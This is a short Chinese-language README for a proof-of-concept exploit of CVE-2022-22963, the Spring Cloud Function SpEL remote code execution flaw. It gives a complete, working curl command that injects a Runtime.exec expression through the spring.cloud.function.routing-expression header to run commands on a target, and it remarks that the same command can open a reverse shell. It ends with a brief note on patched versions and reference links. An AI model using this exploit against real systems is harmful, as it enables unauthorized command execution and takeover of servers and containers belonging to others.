CVE-2022-22963 PoC
略微修改，用于英语翻译和对 https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/Spel_RCE_POC.py 的检测。默认情况下，对目标执行 whoami 命令，并创建一个 vulnerable.txt 文件，其中包含存在漏洞的 URL。
利用此漏洞非常容易实现。下面给出了利用该漏洞的 curl 命令。
curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
使用这个 curl 命令，可以轻松地在操作系统上创建一个文件，但它也可以用来在存在漏洞的主机或容器上打开一个反向 shell。
如果您受到 CVE-2022-22963 的影响，应将应用程序更新到最新版本 3.1.7 和 3.2.3。
https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html, https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52
